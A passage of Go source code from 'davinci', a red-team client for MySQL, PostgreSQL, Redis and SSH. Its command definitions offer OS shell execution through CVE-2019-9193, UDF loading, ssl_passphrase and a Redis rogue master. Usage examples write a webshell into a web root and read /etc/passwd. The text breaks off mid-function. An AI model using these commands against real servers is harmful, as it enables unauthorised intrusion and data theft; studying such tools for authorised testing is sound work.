if mysqlSlow_writefile { 111 | var content []byte 112 | var err error 113 | if content, err = hex.DecodeString(h); err != nil { 114 | return err 115 | } 116 | service.WriteFile_by_SlowQueryLog(string(content), mysqlTargetFile) 117 | } 118 | case "readfile": 119 | if mysqlTargetFile == "" { 120 | return fmt.Errorf("davinci mysql readfile must have target") 121 | } 122 | if !mysqlLoadfile_reafile && !mysqlInfile_readfile { 123 | return fmt.Errorf("please choose read mode [loadfile|infile]") 124 | } 125 | if mysqlLoadfile_reafile { 126 | log.Output(service.ReadFile_by_LoadFile(mysqlTargetFile, mysqlHex)) 127 | } else { 128 | log.Output(service.ReadFile_by_LoadData(mysqlTargetFile, mysqlHex)) 129 | } 130 | 131 | } 132 | return nil 133 | }, 134 | } 135 | ) 136 | 137 | func init() { 138 | 139 | mysqlCmd.Flags().StringVarP(&mysqlHost, "host", "H", "127.0.0.1", "mysql ip addr") 140 | mysqlCmd.Flags().IntVarP(&mysqlPort, "port", "P", 3306, "mysql port") 141 | mysqlCmd.Flags().StringVarP(&mysqlUser, "user", "u", "root", "username") 142 | mysqlCmd.Flags().StringVarP(&mysqlPasswd, "passwd", "p", "", "pasword") 143 | mysqlCmd.Flags().StringVarP(&mysqlDbName, "dbName", "d", "", "database name,not require") 144 | mysqlCmd.Flags().StringVarP(&mysqlSql, "cmd", "c", "", "cmd to be executed, used in exec and udf_oshell mode") 145 | mysqlCmd.Flags().StringVarP(&mysqlSourceFile, "source", "s", "", "[write] (local) source file path,use for write file mode") 146 | mysqlCmd.Flags().StringVarP(&mysqlTargetFile, "target", "t", "", "[write/read] (remote) target file path,use for write/read file mode") 147 | mysqlCmd.Flags().StringVarP(&mysqlContent, "content", "C", "", "[write] write content to target,use for write file mode,choose one of content and source") 148 | mysqlCmd.Flags().BoolVarP(&mysqlOut_writefile, "outfile", "", false, "[write] use outfile to write file") 149 | mysqlCmd.Flags().BoolVarP(&mysqlDump_writefile, "dumpfile", "", false, "[write] use dumpfile to write file,bin data must be use dumpfile") 150 | mysqlCmd.Flags().BoolVarP(&mysqlSlow_writefile, "slowlog", "", false, "[write] use slowlog to write file") 151 | mysqlCmd.Flags().BoolVarP(&mysqlHex, "hex", "", false, "[read/write] get hex content for readfile;encode content by hex for writefile") 152 | mysqlCmd.Flags().BoolVarP(&mysqlLoadfile_reafile, "load_file", "", false, "[read] use load_file() to read file") 153 | mysqlCmd.Flags().BoolVarP(&mysqlInfile_readfile, "infile", "", false, "[read] use load data infile to read file") 154 | mysqlCmd.Flags().BoolVarP(&mysqlNoInteractive_osshell, "no-interactive", "", false, "no-interactive with os shell") 155 | mysqlCmd.MarkFlagRequired("passwd") 156 | rootCmd.AddCommand(mysqlCmd) 157 | } 158 | -------------------------------------------------------------------------------- /cmd/pgsql.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/common/log" 5 | "davinci/core" 6 | "encoding/hex" 7 | "fmt" 8 | "github.com/spf13/cobra" 9 | "io/ioutil" 10 | ) 11 | 12 | var ( 13 | pgsqlHost string 14 | pgsqlPort int 15 | pgsqlUser string 16 | pgsqlPasswd string 17 | pgsqlDbName string 18 | pgsqlSql string 19 | pgsqlTargetFile string 20 | pgsqlSourceFile string 21 | pgsqlContent string 22 | pgsqlHex bool 23 | pgsqlPgRead_readfile bool 24 | pgsqlLoImport_readfile bool 25 | pgsqlCopyFrom_readfile bool 26 | pgsqlLoExport_writefile bool 27 | pgsqlCopyTo_writefile bool 28 | pgsqlCve_2019_9193_osshell bool 29 | pgsqlUdf_osshell bool 30 | pgsqlSslPassPharse_osshell bool 31 | pgsqlNoInteractive_osshell bool 32 | 33 | pgsqlCmd = &cobra.Command{ 34 | Use: "pgsql [exec|shell|auto_gather|osshell|writefile|readfile|mkdir|lsdir]", 35 | Short: "pgsql client", 36 | Long: "pgsql client:\n" + 37 | " - exec: execute the command once and return directly\n" + 38 | " - shell: pgsql interactive shell\n" + 39 | " - auto_gather: automatically collect database information, including users, databases,\n" + 40 | " tables, table structures, and the first 5 rows of data for each table\n" + 41 | " - osshell: exec os shell,three ways: [cve-2019-9193 | udf | ssl_passpharse]\n" + 42 | " - writefile: write file,two ways: [lo_export | copy_to]\n" + 43 | " - readfile: read file,three ways: [lo_import | pg_read | copy_from]\n" + 44 | " - mkdir: create dir through log_directory,premise is logging_collector = on\n" + 45 | " - lsdir: list dir through pg_ls_dir\n" + 46 | "\n" + 47 | "Example: \n" + 48 | " davinci pgsql exec -H 192.168.1.2 -P 5432 -u postgres -p 123456 -c \"select user;\" \n" + 49 | " davinci pgsql shell -H 192.168.1.2 -P 5432 -u postgres -p 123456 \n" + 50 | " davinci pgsql auto_gather -H 192.168.1.2 -P 5432 -u postgres -p 123456 \n" + 51 | " davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193\n" + 52 | " davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --cve-2019-9193 --no-interactive -c \"whoami\"\n" + 53 | " davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf\n" + 54 | " davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --udf --no-interactive -c \"whoami\"\n" + 55 | " davinci pgsql osshell -H 192.168.1.2 -P 5432 -u postgres -p 123456 --ssl_passpharse -c \"whoami\" \n" + 56 | " davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_export -s ./eval.php -t /var/www/html/1.php \n" + 57 | " davinci pgsql writefile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_to -C \"\" -t /var/www/html/1.php \n" + 58 | " davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --lo_import -t /etc/passwd \n" + 59 | " davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --pg_read -t /etc/passwd \n" + 60 | " davinci pgsql readfile -H 192.168.1.2 -P 5432 -u postgres -p 123456 --copy_from -t /etc/passwd --hex\n" + 61 | " davinci pgsql mkdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t /etc/pg_dir \n" + 62 | " davinci pgsql lsdir -H 192.168.1.2 -P 5432 -u postgres -p 123456 -t / \n", 63 | 64 | Args: cobra.ExactValidArgs(1), 65 | ValidArgs: []string{"exec", "shell", "auto_gather", "osshell", "writefile", "readfile", "mkdir", "lsdir"}, 66 | RunE: func(command *cobra.Command, args []string) error { 67 | service := &core.Pgsql{ 68 | Host: pgsqlHost, 69 | Port: pgsqlPort, 70 | User: pgsqlUser, 71 | Passwd: pgsqlPasswd, 72 | DbName: pgsqlDbName, 73 | Cmd: pgsqlSql, 74 | } 75 | defer service.Close() 76 | switch args[0] { 77 | case "exec": 78 | if pgsqlSql == "" { 79 | return fmt.Errorf("davinci pgsql exec must have cmd") 80 | } 81 | service.ExecuteOnce() 82 | case "shell": 83 | service.Shell() 84 | case "auto_gather": 85 | service.AutoGather() 86 | case "osshell": 87 | if !pgsqlCve_2019_9193_osshell && !pgsqlUdf_osshell && !pgsqlSslPassPharse_osshell { 88 | return fmt.Errorf("please choose mode [cve-2019-9193|udf|ssl_passpharse]") 89 | } 90 | if pgsqlSql == "" && pgsqlNoInteractive_osshell { 91 | return fmt.Errorf("davinci pgsql osshell no interactive need cmd,please use -c to specify") 92 | } 93 | if pgsqlCve_2019_9193_osshell { 94 | service.ExecOsShell(service.Cmd, !pgsqlNoInteractive_osshell, service.OsExec_cve_2019_9193) 95 | } else if pgsqlUdf_osshell { 96 | service.ExecOsShell(service.Cmd, !pgsqlNoInteractive_osshell, service.OsExec_UDF) 97 | } else { 98 | if pgsqlSql == "" { 99 | return fmt.Errorf("davinci pgsql osshell by ssl_passpharse need cmd,please use -c to specify,\n" + 100 | "ssl_passpharse mode is not support interactive and display") 101 | } 102 | if service.OsExec_ssl_passpharse_command(service.Cmd) { 103 | log.Info("exec success") 104 | } else { 105 | log.Warn("exec fail") 106 | } 107 | } 108 | case "writefile": 109 | if pgsqlSourceFile == "" && pgsqlContent == "" { 110 | return fmt.Errorf("davinci pgsql writefile must have source or content") 111 | } 112 | if pgsqlTargetFile == "" { 113 | return fmt.Errorf("davinci pgsql writefile must have target") 114 | } 115 | if !pgsqlCopyTo_writefile && !pgsqlLoExport_writefile { 116 | return fmt.Errorf("please choose mode [lo_export|copy_to]") 117 | } 118 | var h string 119 | if pgsqlContent != "" { 120 | if pgsqlHex { 121 | h = pgsqlContent 122 | } else { 123 | h = hex.EncodeToString([]byte(pgsqlContent)) 124 | } 125 | } else { 126 | if content, readErr := ioutil.ReadFile(pgsqlSourceFile); readErr != nil { 127 | return readErr 128 | } else { 129 | h = hex.EncodeToString(content) 130 | } 131 | } 132 | if pgsqlLoExport_writefile { 133 | service.WriteFile_by_LoExport(h, pgsqlTargetFile) 134 | } else { 135 | service.WriteFile_by_CopyTo(h, pgsqlTargetFile) 136 | } 137 | case "readfile": 138 | if pgsqlTargetFile == "" { 139 | return fmt.Errorf("davinci pgsql readfile must have target") 140 | } 141 | if !pgsqlLoImport_readfile && !pgsqlPgRead_readfile && !pgsqlCopyFrom_readfile { 142 | return fmt.Errorf("please choose mode [lo_import|pg_read|copy_from]") 143 | } 144 | var result string 145 | var readErr error 146 | if pgsqlLoImport_readfile { 147 | result, readErr = service.ReadFile_by_LoImport(pgsqlTargetFile, pgsqlHex) 148 | } else if pgsqlPgRead_readfile { 149 | result, readErr = service.ReadFile_by_PgReadFile(pgsqlTargetFile) 150 | if pgsqlHex { 151 | result = hex.EncodeToString([]byte(result)) 152 | } 153 | } else { 154 | result, readErr = service.ReadFile_by_CopyFrom(pgsqlTargetFile, pgsqlHex) 155 | } 156 | if readErr != nil { 157 | return readErr 158 | } 159 | log.Output(result) 160 | case "mkdir": 161 | if pgsqlTargetFile == "" { 162 | return fmt.Errorf("davinci pgsql mkdir must have target") 163 | } 164 | service.Mkdir_by_LogDirectory(pgsqlTargetFile) 165 | case "lsdir": 166 | if pgsqlTargetFile == "" { 167 | return fmt.Errorf("davinci pgsql lsdir must have target") 168 | } 169 | if result, err := service.ListDir_by_PgLsDir(pgsqlTargetFile); err != nil { 170 | log.Error(err) 171 | } else { 172 | log.Output(result) 173 | } 174 | 175 | } 176 | return nil 177 | }, 178 | } 179 | ) 180 | 181 | func init() { 182 | 183 | pgsqlCmd.Flags().StringVarP(&pgsqlHost, "host", "H", "127.0.0.1", "pgsql ip addr") 184 | pgsqlCmd.Flags().IntVarP(&pgsqlPort, "port", "P", 5432, "pgsql port") 185 | pgsqlCmd.Flags().StringVarP(&pgsqlUser, "user", "u", "postgres", "username") 186 | pgsqlCmd.Flags().StringVarP(&pgsqlPasswd, "passwd", "p", "", "pasword") 187 | pgsqlCmd.Flags().StringVarP(&pgsqlDbName, "dbName", "d", "", "database name,not require") 188 | pgsqlCmd.Flags().StringVarP(&pgsqlSql, "cmd", "c", "", "cmd to be executed, used in exec(sql) and osshell(shell) mode") 189 | pgsqlCmd.Flags().StringVarP(&pgsqlTargetFile, "target", "t", "", "[write/read] (remote) target file path,use for write/read file mode") 190 | pgsqlCmd.Flags().StringVarP(&pgsqlSourceFile, "source", "s", "", "[write] (local) source file path,use for write file mode") 191 | pgsqlCmd.Flags().StringVarP(&pgsqlContent, "content", "C", "", "[write] write content to target,use for write file mode,choose one of content and source") 192 | pgsqlCmd.Flags().BoolVarP(&pgsqlHex, "hex", "", false, "[write/read] encode write/read file content") 193 | pgsqlCmd.Flags().BoolVarP(&pgsqlLoImport_readfile, "lo_import", "", false, "[read] use lo_import to readfile") 194 | pgsqlCmd.Flags().BoolVarP(&pgsqlPgRead_readfile, "pg_read", "", false, "[read] use pg_read to readfile") 195 | pgsqlCmd.Flags().BoolVarP(&pgsqlCopyFrom_readfile, "copy_from", "", false, "[read] use copy from to readfile") 196 | pgsqlCmd.Flags().BoolVarP(&pgsqlLoExport_writefile, "lo_export", "", false, "[write] use lo_export to readfile") 197 | pgsqlCmd.Flags().BoolVarP(&pgsqlCopyTo_writefile, "copy_to", "", false, "[write] use 'copy to' to readfile") 198 | pgsqlCmd.Flags().BoolVarP(&pgsqlCve_2019_9193_osshell, "cve-2019-9193", "", false, "[osshell] use cve-2019-9193(copy from program) to exec,support version>=9.3") 199 | pgsqlCmd.Flags().BoolVarP(&pgsqlUdf_osshell, "udf", "", false, "[osshell] use udf to exec") 200 | pgsqlCmd.Flags().BoolVarP(&pgsqlSslPassPharse_osshell, "ssl_passpharse", "", false, "[osshell] use pgconfig ssl passpharse to exec,support version>=11") 201 | pgsqlCmd.Flags().BoolVarP(&pgsqlNoInteractive_osshell, "no-interactive", "", false, "no-interactive with os shell") 202 | 203 | pgsqlCmd.MarkFlagRequired("passwd") 204 | rootCmd.AddCommand(pgsqlCmd) 205 | } 206 | -------------------------------------------------------------------------------- /cmd/redis.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/common" 5 | "davinci/common/log" 6 | "davinci/core" 7 | "fmt" 8 | "github.com/spf13/cobra" 9 | "io/ioutil" 10 | "os" 11 | ) 12 | 13 | var ( 14 | redisHost string 15 | redisPort int 16 | redisUser string 17 | redisPasswd string 18 | redisExec string 19 | redisMasterIp string 20 | redisMasterPort int 21 | redisTargetFile string 22 | redisSourceFile string 23 | redisContent string 24 | redisRdbBack_writefile bool 25 | redisRogueMaster_writefile bool 26 | redisNoBackup bool 27 | redisNoInteractive_osshell bool 28 | 29 | redisCmd = &cobra.Command{ 30 | Use: "redis [exec|shell|auto_gather|writefile|osshell]", 31 | Short: "redis client", 32 | Long: "redis client:\n" + 33 | " - exec: execute the command once and return directly\n" + 34 | " - shell: redis interactive shell\n" + 35 | " - auto_gather: automatically collect database information, including users, databases,\n" + 36 | " tables, table structures, and the first 5 rows of data for each table\n" + 37 | " - osshell: exec os shell through master-slave replication(RogueMaster),write so and load module\n" + 38 | " - writefile: write file,two ways: [rdbback|roguemaster]\n" + 39 | " !!!note: use master-slave replication method(osshell or roguemaster to writefile) will clear target redis data\n" + 40 | "\n" + 41 | "Example: \n" + 42 | " davinci redis exec -H 192.168.1.2 -P 6379 -p 123456 -c \"info\" \n" + 43 | " davinci redis shell -H 192.168.1.2 -P 6379 -p 123456 \n" + 44 | " davinci redis auto_gather -H 192.168.1.2 -P 6379 -p 123456 \n" + 45 | " davinci redis osshell -H 192.168.1.2 -P 6379 -p 123456 -l 192.168.1.1\n" + 46 | " davinci redis osshell -H 192.168.1.2 -P 6379 -p 123456 -l 192.168.1.1 --no-interactive -c \"whoami\"\n" + 47 | " davinci redis writefile -H 192.168.1.2 -P 6379 -p 123456 --rdb -C \"\" -t /var/www/html/1.php \n" + 48 | " davinci redis writefile -H 192.168.1.2 -P 6379 -p 123456 --master -l 192.168.1.1 -s ./eval.so -t /tmp/eval.so \n" + 49 | " ", 50 | Args: cobra.ExactValidArgs(1), 51 | ValidArgs: []string{"exec", "shell", "auto_gather", "writefile", "osshell"}, 52 | RunE: func(command *cobra.Command, args []string) error { 53 | service := &core.Redis{ 54 | Host: redisHost, 55 | Port: redisPort, 56 | User: redisUser, 57 | Passwd: redisPasswd, 58 | Cmd: redisExec, 59 | } 60 | defer service.Close() 61 | if redisMasterPort == 0 { 62 | redisMasterPort, _ = common.GetAvailablePort() 63 | } 64 | switch args[0] { 65 | case "exec": 66 | if redisExec == "" { 67 | return fmt.Errorf("davinci redis exec must have cmd") 68 | } 69 | service.ExecuteOnce() 70 | case "shell": 71 | service.Shell() 72 | case "auto_gather": 73 | service.AutoGather() 74 | case "osshell": 75 | confirmAndCheck() 76 | if redisNoInteractive_osshell && redisExec == "" { 77 | return fmt.Errorf("davinci redis osshell no interactive need cmd,please use -c to specify") 78 | } 79 | service.OsExec_RogueMaster(redisMasterIp, redisExec, redisMasterPort, !redisNoInteractive_osshell, !redisNoBackup) 80 | case "writefile": 81 | if redisSourceFile == "" && redisContent == "" { 82 | return fmt.Errorf("davinci redis writefile must have source or content") 83 | } 84 | if redisTargetFile == "" { 85 | return fmt.Errorf("davinci redis writefile must have target") 86 | } 87 | if !redisRdbBack_writefile && !redisRogueMaster_writefile { 88 | return fmt.Errorf("please choose mode [rdb|master]") 89 | } 90 | var data []byte 91 | if redisContent != "" { 92 | data = []byte(redisContent) 93 | } else { 94 | var readErr error 95 | if data, readErr = ioutil.ReadFile(redisSourceFile); readErr != nil { 96 | return readErr 97 | } 98 | } 99 | if redisRdbBack_writefile { 100 | service.WriteFile_by_RDBBack(redisTargetFile, data) 101 | } else { 102 | confirmAndCheck() 103 | service.WriteFile_by_RogueMaster(redisTargetFile, redisMasterIp, redisMasterPort, data, !redisNoBackup) 104 | } 105 | 106 | } 107 | return nil 108 | }, 109 | } 110 | ) 111 | 112 | func confirmAndCheck() { 113 | if redisMasterIp == "" { 114 | log.Warn(fmt.Errorf("use master-slave replication must be set master ip (lhost)")) 115 | os.Exit(0) 116 | } 117 | } 118 | 119 | func init() { 120 | 121 | redisCmd.Flags().StringVarP(&redisHost, "host", "H", "127.0.0.1", "redis ip addr") 122 | redisCmd.Flags().IntVarP(&redisPort, "port", "P", 6379, "redis port") 123 | redisCmd.Flags().StringVarP(&redisUser, "user", "u", "", "username") 124 | redisCmd.Flags().StringVarP(&redisPasswd, "passwd", "p", "", "pasword") 125 | redisCmd.Flags().StringVarP(&redisExec, "cmd", "c", "", "redis cmd to be executed, only used in exec and osshell mode") 126 | redisCmd.Flags().StringVarP(&redisTargetFile, "target", "t", "", "[write/read] (remote) target file path,use for write file mode") 127 | redisCmd.Flags().StringVarP(&redisSourceFile, "source", "s", "", "[write] (local) source file path,use for write file mode") 128 | redisCmd.Flags().StringVarP(&redisContent, "content", "C", "", "[write] write content to target,use for write file mode,choose one of content and source") 129 | redisCmd.Flags().BoolVarP(&redisRdbBack_writefile, "rdb", "", false, "[write] use rdb backup to writefile") 130 | redisCmd.Flags().BoolVarP(&redisRogueMaster_writefile, "master", "", false, "[write] use master-slave replication to writefile") 131 | redisCmd.Flags().BoolVarP(&redisNoBackup, "no-backup", "", false, "do not backup/dump data before using the master-slave replication method") 132 | redisCmd.Flags().BoolVarP(&redisNoInteractive_osshell, "no-interactive", "", false, "no-interactive with os shell") 133 | redisCmd.Flags().StringVarP(&redisMasterIp, "lhost", "l", "", "[write/osshell] use master-slave replication must be set master ip (lhost)") 134 | redisCmd.Flags().IntVarP(&redisMasterPort, "lport", "", 0, "[write/osshell] master port,by default, a random available port will be selected") 135 | 136 | rootCmd.AddCommand(redisCmd) 137 | } 138 | -------------------------------------------------------------------------------- /cmd/root.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/common/log" 5 | "github.com/spf13/cobra" 6 | "golang.org/x/term" 7 | "os" 8 | ) 9 | 10 | var noLog bool 11 | var silent bool 12 | 13 | var ( 14 | rootCmd = &cobra.Command{ 15 | Use: "davinci", 16 | Short: "multi-component client", 17 | Long: "multi-component client,include database, middleware, queue, etc.\n" + 18 | "used for red team simulation scenarios", 19 | } 20 | ) 21 | 22 | func Execute() error { 23 | defer log.Close() 24 | // 还原terminal 25 | oldInState, err := term.GetState(int(os.Stdin.Fd())) 26 | if err != nil { 27 | log.Warn(err) 28 | } else { 29 | defer term.Restore(int(os.Stdin.Fd()), oldInState) 30 | } 31 | oldOutState, err := term.GetState(int(os.Stdout.Fd())) 32 | if err != nil { 33 | log.Warn(err) 34 | } else { 35 | defer term.Restore(int(os.Stdout.Fd()), oldOutState) 36 | } 37 | oldErrState, err := term.GetState(int(os.Stderr.Fd())) 38 | if err != nil { 39 | log.Warn(err) 40 | } else { 41 | defer term.Restore(int(os.Stderr.Fd()), oldErrState) 42 | } 43 | 44 | return rootCmd.Execute() 45 | 46 | } 47 | 48 | func init() { 49 | rootCmd.PersistentFlags().BoolVarP(&noLog, "no-log", "", false, "not log to file") 50 | rootCmd.PersistentFlags().BoolVarP(&silent, "silent", "", false, "close info level output") 51 | rootCmd.PersistentPreRun = func(cmd *cobra.Command, args []string) { 52 | if noLog { 53 | log.AddLogWriter(os.Stdout) 54 | } 55 | if silent { 56 | log.SetLogLevel(log.WarnLevel) 57 | } 58 | } 59 | } 60 | -------------------------------------------------------------------------------- /cmd/ssh.go: -------------------------------------------------------------------------------- 1 | package cmd 2 | 3 | import ( 4 | "davinci/core" 5 | "encoding/base64" 6 | "fmt" 7 | "github.com/spf13/cobra" 8 | "io/ioutil" 9 | ) 10 | 11 | var ( 12 | sshHost string 13 | sshPort int 14 | sshUser string 15 | sshPasswd string 16 | sshPrivateKeyBase64 string 17 | sshPrivateKeyfile string 18 | sshExec string 19 | sshSourceFile string 20 | sshTargetFile string 21 | 22 | sshCmd = &cobra.Command{ 23 | Use: "ssh [exec|shell|auto_gather|download|upload]", 24 | Short: "ssh client", 25 | Long: "ssh client:\n" + 26 | " - exec: execute the command once and return directly\n" + 27 | " - shell: ssh interactive shell\n" + 28 | " - auto_gather: execute some cmd to gather basic info,such ps/netstat/etc.\n" + 29 | " - download: scp download file (remote -> local)\n" + 30 | " - upload: scp upload file (local -> remote)\n" + 31 | "\n" + 32 | "Example: \n" + 33 | " davinci ssh exec -H 192.168.1.2 -P 22 -u root -p 123456 -c \"id\" \n" + 34 | " davinci ssh shell -H 192.168.1.2 -P 22 -u root -p 123456 \n" + 35 | " davinci ssh auto_gather -H 192.168.1.2 -P 22 -u root -p 123456 \n" + 36 | " davinci ssh download -H 192.168.1.2 -P 22 -u root -p 123456 -s d:/tmp/ -t /tmp/1.zip \n" + 37 | " davinci ssh uplload -H 192.168.1.2 -P 22 -u root -p 123456 -s d:/tmp/1.zip -t /tmp/ \n" + 38 | " ", 39 | Args: cobra.ExactValidArgs(1), 40 | ValidArgs: []string{"exec", "shell", "auto_gather", "download", "upload"}, 41 | RunE: func(command *cobra.Command, args []string) error { 42 | service := &core.Ssh{ 43 | Host: sshHost, 44 | Port: sshPort, 45 | User: sshUser, 46 | Passwd: sshPasswd, 47 | Cmd: sshExec, 48 | } 49 | if sshPrivateKeyBase64 != "" { 50 | privateKey, err := base64.StdEncoding.DecodeString(sshPrivateKeyBase64) 51 | if err != nil { 52 | return fmt.Errorf("decoding private key error: ", err) 53 | } 54 | service.PrivateKey = privateKey 55 | } else if sshPrivateKeyfile != "" { 56 | privakey, err := ioutil.ReadFile(sshPrivateKeyfile) 57 | if err != nil { 58 | return fmt.Errorf("read private key error: ", err) 59 | } 60 | service.PrivateKey = privakey 61 | } 62 | 63 | defer service.Close() 64 | switch args[0] { 65 | case "exec": 66 | if sshExec == "" { 67 | return fmt.Errorf("davinci ssh exec must have cmd") 68 | } 69 | service.ExecuteOnce() 70 | case "shell": 71 | service.Shell() 72 | case "auto_gather": 73 | service.AutoGather() 74 | case "download": 75 | service.ScpDownload(sshSourceFile, sshTargetFile) 76 | case "upload": 77 | service.ScpUpload(sshSourceFile, sshTargetFile) 78 | } 79 | return nil 80 | }, 81 | } 82 | ) 83 | 84 | func init() { 85 | sshCmd.Flags().StringVarP(&sshHost, "host", "H", "127.0.0.1", "target ip addr") 86 | sshCmd.Flags().IntVarP(&sshPort, "port", "P", 22, "ssh port") 87 | sshCmd.Flags().StringVarP(&sshUser, "user", "u", "root", "username") 88 | sshCmd.Flags().StringVarP(&sshPasswd, "passwd", "p", "", "pasword") 89 | sshCmd.Flags().StringVarP(&sshPrivateKeyBase64, "prikey", "k", "", "base64 encoding of the private key,use for private key auth") 90 | sshCmd.Flags().StringVarP(&sshPrivateKeyfile, "prifile", "f", "", "private key file,use for private key auth") 91 | sshCmd.Flags().StringVarP(&sshExec, "cmd", "c", "", "cmd to be executed, only used in exec mode") 92 | sshCmd.Flags().StringVarP(&sshSourceFile, "source", "s", "", "source file,use for scp") 93 | sshCmd.Flags().StringVarP(&sshTargetFile, "target", "t", "", "target file,use for scp") 94 | 95 | rootCmd.AddCommand(sshCmd) 96 | } 97 | -------------------------------------------------------------------------------- /common/encrypt.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "crypto/rand" 5 | "crypto/x509" 6 | "encoding/pem" 7 | ) 8 | 9 | func EncryptRSAPrivateKey(prikey []byte, passwd string) ([]byte, error) { 10 | 11 | skBlock, _ := pem.Decode(prikey) 12 | encPriKey, err := x509.EncryptPEMBlock(rand.Reader, "RSA PRIVATE KEY", skBlock.Bytes, []byte(passwd), x509.PEMCipherAES256) 13 | if err != nil { 14 | return nil, err 15 | } 16 | return pem.EncodeToMemory(encPriKey), nil 17 | } 18 | 19 | func DecryptRSAPrivateKey(encPrikey []byte, passwd string) ([]byte, error) { 20 | 21 | skBlock, _ := pem.Decode(encPrikey) 22 | prikey, err := x509.DecryptPEMBlock(skBlock, []byte(passwd)) 23 | if err != nil { 24 | return nil, err 25 | } 26 | sk, err := x509.ParsePKCS8PrivateKey(prikey) 27 | if err != nil { 28 | return nil, err 29 | } 30 | privateKeyBytes, err := x509.MarshalPKCS8PrivateKey(sk) 31 | if err != nil { 32 | return nil, err 33 | } 34 | return pem.EncodeToMemory(&pem.Block{ 35 | Type: "RSA PRIVATE KEY", 36 | Bytes: privateKeyBytes, 37 | }), nil 38 | } 39 | -------------------------------------------------------------------------------- /common/encrypt_test.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "fmt" 5 | "io/ioutil" 6 | "testing" 7 | ) 8 | 9 | func TestName(t *testing.T) { 10 | prikey, _ := ioutil.ReadFile("d://tmp/x.txt") 11 | y, err := EncryptRSAPrivateKey(prikey, "1234567") 12 | if err != nil { 13 | fmt.Println(err) 14 | } 15 | fmt.Println(string(y)) 16 | 17 | x, err := DecryptRSAPrivateKey([]byte(y), "1234567") 18 | if err != nil { 19 | fmt.Println(err) 20 | } 21 | fmt.Println(string(x)) 22 | } 23 | 24 | func Test2(t *testing.T) { 25 | fmt.Println(GetAvailablePort()) 26 | } 27 | -------------------------------------------------------------------------------- /common/file.go: -------------------------------------------------------------------------------- 1 | package common 2 | 3 | import ( 4 | "os" 5 | "strings" 6 | ) 7 | 8 | func SplitFilePath(file string) (string, string) { 9 | var dir, filename string 10 | if file[len(file)-1] == '/' { 11 | file = file[:len(file)-1] 12 | } 13 | index := strings.LastIndex(file, "/") 14 | if index >= 0 { 15 | dir = file[:index+1] 16 | filename = file[index+1:] 17 | } else { 18 | dir = "" 19 | filename = file 20 | } 21 | return dir, filename 22 | } 23 | 24 | func IsFileExist(path string) bool { 25 | _, err := os.Stat(path) 26 | if err != nil && os.IsNotExist(err) { 27 | return false 28 | } 29 | return true 30 | } 31 | 32 | func IsDir(file string) bool { 33 | fileInfo, err := os.Stat(file) 34 | if err == nil && fileInfo.IsDir() { 35 | return true 36 | } 37 | return false 38 | } 39 | 40 | func WriteFile(fileName string, content []byte) error { 41 | file, err := os.OpenFile(fileName, os.O_RDWR|os.O_CREATE|os.O_TRUNC, 0600) 42 | if err != nil { 43 | return err 44 | } 45 | defer file.Close() 46 | _, err = file.Write(content) 47 | if err != nil { 48 | return err 49 | } 50 | return nil 51 | } 52 | -------------------------------------------------------------------------------- /common/log/log.go: -------------------------------------------------------------------------------- 1 | package log 2 | 3 | import ( 4 | "fmt" 5 | "github.com/olekukonko/tablewriter" 6 | "io" 7 | "log" 8 | "os" 9 | "reflect" 10 | "sync" 11 | "time" 12 | ) 13 | 14 | type logger struct { 15 | writer io.Writer 16 | output *log.Logger 17 | info *log.Logger 18 | warn *log.Logger 19 | error *log.Logger 20 | } 21 | 22 | // 默认日志级别 23 | var logLevel = InfoLevel 24 | 25 | const ( 26 | InfoLevel int = iota 27 | WarnLevel 28 | ErrorLevel 29 | ) 30 | 31 | var loggerInstance *logger 32 | var writers []io.Writer 33 | var once sync.Once 34 | 35 | func AddLogWriter(w io.Writer) { 36 | writers = append(writers, w) 37 | } 38 | 39 | func GetLogWriter() io.Writer { 40 | return getLogger().writer 41 | } 42 | 43 | func GetLogWriterExceptOsStdout() io.Writer { 44 | if len(writers) == 0 { 45 | return nil 46 | } 47 | var newWriters []io.Writer 48 | for _, writer := range writers { 49 | if writer == os.Stdout { 50 | continue 51 | } 52 | newWriters = append(newWriters, writer) 53 | } 54 | if len(newWriters) == 0 { 55 | return nil 56 | } 57 | return io.MultiWriter(newWriters...) 58 | } 59 | 60 | func SetLogLevel(level int) { 61 | logLevel = level 62 | } 63 | 64 | func initDefaultWriter() { 65 | logfile := fmt.Sprintf("./davinci_%s.log", time.Now().Format("2006-01-02")) 66 | if fileWriter, err := os.OpenFile(logfile, os.O_CREATE|os.O_APPEND|os.O_RDWR, 0600); err != nil { 67 | log.Println(fmt.Sprintf("create log file error: %v", err)) 68 | } else { 69 | writers = append(writers, fileWriter) 70 | } 71 | writers = append(writers, os.Stdout) 72 | } 73 | 74 | func getLogger() *logger { 75 | once.Do(func() { 76 | if writers == nil { 77 | initDefaultWriter() 78 | } 79 | logWriter := io.MultiWriter(writers...) 80 | loggerInstance = &logger{ 81 | writer: logWriter, 82 | output: log.New(logWriter, "", 0), 83 | info: log.New(logWriter, "[info] ", log.Lmsgprefix|log.Ldate|log.Ltime), 84 | warn: log.New(logWriter, "[warn] ", log.Lmsgprefix|log.Ldate|log.Ltime), 85 | error: log.New(logWriter, "[error] ", log.Lmsgprefix|log.Ldate|log.Ltime), 86 | } 87 | }) 88 | return loggerInstance 89 | } 90 | 91 | func Close() { 92 | for _, writer := range writers { 93 | if writer != nil { 94 | if reflect.TypeOf(writer) == reflect.TypeOf(&os.File{}) { 95 | writer.(*os.File).Close() 96 | } 97 | } 98 | } 99 | } 100 | 101 | /** 102 | * 按照数据库SQL Table的格式输出数据 103 | */ 104 | func Output(v interface{}) { 105 | l := getLogger() 106 | if v == nil { 107 | return 108 | } 109 | if data, ok := 